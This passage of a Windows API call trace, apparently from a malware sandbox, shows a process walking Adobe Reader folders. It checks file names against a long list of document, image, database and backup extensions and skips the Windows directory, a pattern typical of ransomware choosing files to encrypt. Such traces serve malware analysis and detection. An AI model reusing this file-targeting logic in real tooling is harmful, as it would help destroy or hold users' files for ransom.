lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.636] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0142.636] FindClose (in: hFindFile=0x3e5c318 | out: hFindFile=0x3e5c318) returned 1 [0142.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0142.636] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0142.636] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0142.636] FindClose (in: hFindFile=0x3e5c0d8 | out: hFindFile=0x3e5c0d8) returned 1 [0142.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0142.640] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0142.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0142.645] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0142.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0142.645] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0142.645] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0142.646] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0142.646] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0143.192] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.192] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0143.208] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.208] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0143.208] FindClose (in: hFindFile=0x3e5c698 | out: hFindFile=0x3e5c698) returned 1 [0143.208] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.208] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0143.208] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.208] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0143.218] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.218] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.219] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.219] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.219] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.219] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.243] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.243] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.245] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.245] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.245] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.246] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.246] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.246] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.247] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.247] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.247] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.247] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.247] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.247] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.248] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.248] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.248] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.248] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.249] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.249] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.249] lstrlenW (lpString="ui-strings.js") returned 13 [0143.249] lstrlenW (lpString=".1cd") returned 4 [0143.249] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0143.249] lstrlenW (lpString=".3ds") returned 4 [0143.249] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0143.249] lstrlenW (lpString=".3fr") returned 4 [0143.249] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0143.249] lstrlenW (lpString=".3g2") returned 4 [0143.249] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0143.249] lstrlenW (lpString=".3gp") returned 4 [0143.249] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0143.249] lstrlenW (lpString=".7z") returned 3 [0143.249] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0143.249] lstrlenW (lpString=".accda") returned 6 [0143.249] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0143.249] lstrlenW (lpString=".accdb") returned 6 [0143.249] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0143.249] lstrlenW (lpString=".accdc") returned 6 [0143.249] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0143.249] lstrlenW (lpString=".accde") returned 6 [0143.249] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0143.250] lstrlenW (lpString=".accdt") returned 6 [0143.250] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0143.250] lstrlenW (lpString=".accdw") returned 6 [0143.250] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0143.250] lstrlenW (lpString=".adb") returned 4 [0143.250] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0143.250] lstrlenW (lpString=".adp") returned 4 [0143.250] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0143.250] lstrlenW (lpString=".ai") returned 3 [0143.250] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0143.250] lstrlenW (lpString=".ai3") returned 4 [0143.250] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0143.250] lstrlenW (lpString=".ai4") returned 4 [0143.250] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0143.250] lstrlenW (lpString=".ai5") returned 4 [0143.250] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0143.250] lstrlenW (lpString=".ai6") returned 4 [0143.250] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0143.250] lstrlenW (lpString=".ai7") returned 4 [0143.250] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0143.250] lstrlenW (lpString=".ai8") returned 4 [0143.250] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0143.250] lstrlenW (lpString=".anim") returned 5 [0143.250] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0143.250] lstrlenW (lpString=".arw") returned 4 [0143.250] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0143.250] lstrlenW (lpString=".as") returned 3 [0143.250] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0143.250] lstrlenW (lpString=".asa") returned 4 [0143.250] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0143.251] lstrlenW (lpString=".asc") returned 4 [0143.251] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0143.251] lstrlenW (lpString=".ascx") returned 5 [0143.251] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0143.251] lstrlenW (lpString=".asm") returned 4 [0143.251] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0143.251] lstrlenW (lpString=".asmx") returned 5 [0143.251] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0143.251] lstrlenW (lpString=".asp") returned 4 [0143.251] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0143.251] lstrlenW (lpString=".aspx") returned 5 [0143.251] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0143.251] lstrlenW (lpString=".asr") returned 4 [0143.251] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0143.251] lstrlenW (lpString=".asx") returned 4 [0143.251] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0143.251] lstrlenW (lpString=".avi") returned 4 [0143.251] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0143.251] lstrlenW (lpString=".avs") returned 4 [0143.251] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0143.251] lstrlenW (lpString=".backup") returned 7 [0143.251] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0143.251] lstrlenW (lpString=".bak") returned 4 [0143.251] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0143.251] lstrlenW (lpString=".bay") returned 4 [0143.252] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0143.252] lstrlenW (lpString=".bd") returned 3 [0143.252] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0143.252] lstrlenW (lpString=".bin") returned 4 [0143.252] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0143.252] lstrlenW (lpString=".bmp") returned 4 [0143.252] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0143.252] lstrlenW (lpString=".bz2") returned 4 [0143.252] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0143.252] lstrlenW (lpString=".c") returned 2 [0143.252] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0143.252] lstrlenW (lpString=".cdr") returned 4 [0143.252] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0143.252] lstrlenW (lpString=".cer") returned 4 [0143.252] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0143.252] lstrlenW (lpString=".cf") returned 3 [0143.252] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0143.252] lstrlenW (lpString=".cfc") returned 4 [0143.252] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0143.252] lstrlenW (lpString=".cfm") returned 4 [0143.252] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0143.252] lstrlenW (lpString=".cfml") returned 5 [0143.252] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0143.252] lstrlenW (lpString=".cfu") returned 4 [0143.253] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0143.253] lstrlenW (lpString=".chm") returned 4 [0143.253] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0143.253] lstrlenW (lpString=".cin") returned 4 [0143.253] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0143.253] lstrlenW (lpString=".class") returned 6 [0143.253] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0143.253] lstrlenW (lpString=".clx") returned 4 [0143.253] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0143.253] lstrlenW (lpString=".config") returned 7 [0143.253] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0143.253] lstrlenW (lpString=".cpp") returned 4 [0143.253] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0143.253] lstrlenW (lpString=".cr2") returned 4 [0143.253] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0143.253] lstrlenW (lpString=".crt") returned 4 [0143.253] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0143.253] lstrlenW (lpString=".crw") returned 4 [0143.253] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0143.253] lstrlenW (lpString=".cs") returned 3 [0143.253] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0143.253] lstrlenW (lpString=".css") returned 4 [0143.253] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0143.253] lstrlenW (lpString=".csv") returned 4 [0143.253] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0143.253] lstrlenW (lpString=".cub") returned 4 [0143.253] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0143.253] lstrlenW (lpString=".dae") returned 4 [0143.253] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0143.253] lstrlenW (lpString=".dat") returned 4 [0143.253] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0143.253] lstrlenW (lpString=".db") returned 3 [0143.253] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0143.253] lstrlenW (lpString=".dbf") returned 4 [0143.254] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0143.254] lstrlenW (lpString=".dbx") returned 4 [0143.254] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0143.254] lstrlenW (lpString=".dc3") returned 4 [0143.254] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0143.254] lstrlenW (lpString=".dcm") returned 4 [0143.254] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0143.254] lstrlenW (lpString=".dcr") returned 4 [0143.254] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0143.254] lstrlenW (lpString=".der") returned 4 [0143.254] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0143.254] lstrlenW (lpString=".dib") returned 4 [0143.254] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0143.254] lstrlenW (lpString=".dic") returned 4 [0143.254] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0143.254] lstrlenW (lpString=".dif") returned 4 [0143.254] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0143.254] lstrlenW (lpString=".divx") returned 5 [0143.254] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0143.254] lstrlenW (lpString=".djvu") returned 5 [0143.254] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0143.254] lstrlenW (lpString=".dng") returned 4 [0143.254] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0143.254] lstrlenW (lpString=".doc") returned 4 [0143.254] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0143.254] lstrlenW (lpString=".docm") returned 5 [0143.254] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0143.254] lstrlenW (lpString=".docx") returned 5 [0143.254] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0143.254] lstrlenW (lpString=".dot") returned 4 [0143.254] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0143.254] lstrlenW (lpString=".dotm") returned 5 [0143.254] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0143.254] lstrlenW (lpString=".dotx") returned 5 [0143.255] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0143.255] lstrlenW (lpString=".dpx") returned 4 [0143.255] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0143.255] lstrlenW (lpString=".dqy") returned 4 [0143.255] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0143.255] lstrlenW (lpString=".dsn") returned 4 [0143.255] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0143.255] lstrlenW (lpString=".dt") returned 3 [0143.255] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0143.255] lstrlenW (lpString=".dtd") returned 4 [0143.255] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0143.255] lstrlenW (lpString=".dwg") returned 4 [0143.255] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0143.255] lstrlenW (lpString=".dwt") returned 4 [0143.255] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0143.255] lstrlenW (lpString=".dx") returned 3 [0143.255] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0143.255] lstrlenW (lpString=".dxf") returned 4 [0143.255] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0143.255] lstrlenW (lpString=".edml") returned 5 [0143.255] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0143.255] lstrlenW (lpString=".efd") returned 4 [0143.255] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0143.255] lstrlenW (lpString=".elf") returned 4 [0143.255] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0143.255] lstrlenW (lpString=".emf") returned 4 [0143.255] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0143.255] lstrlenW (lpString=".emz") returned 4 [0143.255] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0143.255] lstrlenW (lpString=".epf") returned 4 [0143.255] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0143.255] lstrlenW (lpString=".eps") returned 4 [0143.255] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0143.255] lstrlenW (lpString=".epsf") returned 5 [0143.256] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0143.256] lstrlenW (lpString=".epsp") returned 5 [0143.256] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0143.256] lstrlenW (lpString=".erf") returned 4 [0143.256] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0143.256] lstrlenW (lpString=".exr") returned 4 [0143.256] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0143.256] lstrlenW (lpString=".f4v") returned 4 [0143.256] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0143.256] lstrlenW (lpString=".fido") returned 5 [0143.256] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0143.256] lstrlenW (lpString=".flm") returned 4 [0143.256] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0143.256] lstrlenW (lpString=".flv") returned 4 [0143.256] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0143.256] lstrlenW (lpString=".frm") returned 4 [0143.256] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0143.256] lstrlenW (lpString=".fxg") returned 4 [0143.256] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0143.256] lstrlenW (lpString=".geo") returned 4 [0143.256] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0143.256] lstrlenW (lpString=".gif") returned 4 [0143.256] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0143.256] lstrlenW (lpString=".grs") returned 4 [0143.256] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0143.256] lstrlenW (lpString=".gz") returned 3 [0143.256] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0143.256] lstrlenW (lpString=".h") returned 2 [0143.256] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0143.256] lstrlenW (lpString=".hdr") returned 4 [0143.256] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0143.256] lstrlenW (lpString=".hpp") returned 4 [0143.256] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0143.257] lstrlenW (lpString=".hta") returned 4 [0143.257] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0143.257] lstrlenW (lpString=".htc") returned 4 [0143.257] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0143.257] lstrlenW (lpString=".htm") returned 4 [0143.257] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0143.257] lstrlenW (lpString=".html") returned 5 [0143.257] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0143.257] lstrlenW (lpString=".icb") returned 4 [0143.257] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0143.257] lstrlenW (lpString=".ics") returned 4 [0143.257] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0143.257] lstrlenW (lpString=".iff") returned 4 [0143.257] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0143.257] lstrlenW (lpString=".inc") returned 4 [0143.257] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0143.257] lstrlenW (lpString=".indd") returned 5 [0143.257] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0143.257] lstrlenW (lpString=".ini") returned 4 [0143.257] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0143.257] lstrlenW (lpString=".iqy") returned 4 [0143.257] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0143.257] lstrlenW (lpString=".j2c") returned 4 [0143.257] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0143.257] lstrlenW (lpString=".j2k") returned 4 [0143.257] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0143.257] lstrlenW (lpString=".java") returned 5 [0143.257] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0143.257] lstrlenW (lpString=".jp2") returned 4 [0143.257] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0143.257] lstrlenW (lpString=".jpc") returned 4 [0143.257] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0143.257] lstrlenW (lpString=".jpe") returned 4 [0143.257] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0143.258] lstrlenW (lpString=".jpeg") returned 5 [0143.258] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0143.258] lstrlenW (lpString=".jpf") returned 4 [0143.258] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0143.258] lstrlenW (lpString=".jpg") returned 4 [0143.258] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0143.258] lstrlenW (lpString=".jpx") returned 4 [0143.258] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0143.258] lstrlenW (lpString=".js") returned 3 [0143.258] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0143.258] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0143.258] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0143.258] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.258] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0143.258] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins") returned 111 [0143.258] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins") returned 1 [0143.258] lstrlenW (lpString="plugins") returned 7 [0143.258] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="plugins") returned -1 [0143.258] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44c40b0 [0143.258] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins") returned 111 [0143.258] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\*", lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0x3e5c418 [0143.265] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.265] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.265] lstrlenW (lpString="convertpdf-selector.js") returned 22 [0143.265] lstrlenW (lpString=".1cd") returned 4 [0143.265] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1 [0143.265] lstrlenW (lpString=".3ds") returned 4 [0143.265] lstrcmpiW (lpString1=".3ds", lpString2="r.js") returned -1 [0143.265] lstrlenW (lpString=".3fr") returned 4 [0143.265] lstrcmpiW (lpString1=".3fr", lpString2="r.js") returned -1 [0143.265] lstrlenW (lpString=".3g2") returned 4 [0143.266] lstrcmpiW (lpString1=".3g2", lpString2="r.js") returned -1 [0143.266] lstrlenW (lpString=".3gp") returned 4 [0143.266] lstrcmpiW (lpString1=".3gp", lpString2="r.js") returned -1 [0143.266] lstrlenW (lpString=".7z") returned 3 [0143.266] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0143.266] lstrlenW (lpString=".accda") returned 6 [0143.266] lstrcmpiW (lpString1=".accda", lpString2="tor.js") returned -1 [0143.266] lstrlenW (lpString=".accdb") returned 6 [0143.266] lstrcmpiW (lpString1=".accdb", lpString2="tor.js") returned -1 [0143.266] lstrlenW (lpString=".accdc") returned 6 [0143.266] lstrcmpiW (lpString1=".accdc", lpString2="tor.js") returned -1 [0143.266] lstrlenW (lpString=".accde") returned 6 [0143.266] lstrcmpiW (lpString1=".accde", lpString2="tor.js") returned -1 [0143.266] lstrlenW (lpString=".accdt") returned 6 [0143.266] lstrcmpiW (lpString1=".accdt", lpString2="tor.js") returned -1 [0143.266] lstrlenW (lpString=".accdw") returned 6 [0143.266] lstrcmpiW (lpString1=".accdw", lpString2="tor.js") returned -1 [0143.266] lstrlenW (lpString=".adb") returned 4 [0143.266] lstrcmpiW (lpString1=".adb", lpString2="r.js") returned -1 [0143.266] lstrlenW (lpString=".adp") returned 4 [0143.266] lstrcmpiW (lpString1=".adp", lpString2="r.js") returned -1 [0143.266] lstrlenW (lpString=".ai") returned 3 [0143.266] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0143.266] lstrlenW (lpString=".ai3") returned 4 [0143.266] lstrcmpiW (lpString1=".ai3", lpString2="r.js") returned -1 [0143.266] lstrlenW (lpString=".ai4") returned 4 [0143.266] lstrcmpiW (lpString1=".ai4", lpString2="r.js") returned -1 [0143.266] lstrlenW (lpString=".ai5") returned 4 [0143.266] lstrcmpiW (lpString1=".ai5", lpString2="r.js") returned -1 [0143.266] lstrlenW (lpString=".ai6") returned 4 [0143.266] lstrcmpiW (lpString1=".ai6", lpString2="r.js") returned -1 [0143.266] lstrlenW (lpString=".ai7") returned 4 [0143.266] lstrcmpiW (lpString1=".ai7", lpString2="r.js") returned -1 [0143.266] lstrlenW (lpString=".ai8") returned 4 [0143.267] lstrcmpiW (lpString1=".ai8", lpString2="r.js") returned -1 [0143.267] lstrlenW (lpString=".anim") returned 5 [0143.267] lstrcmpiW (lpString1=".anim", lpString2="or.js") returned -1 [0143.267] lstrlenW 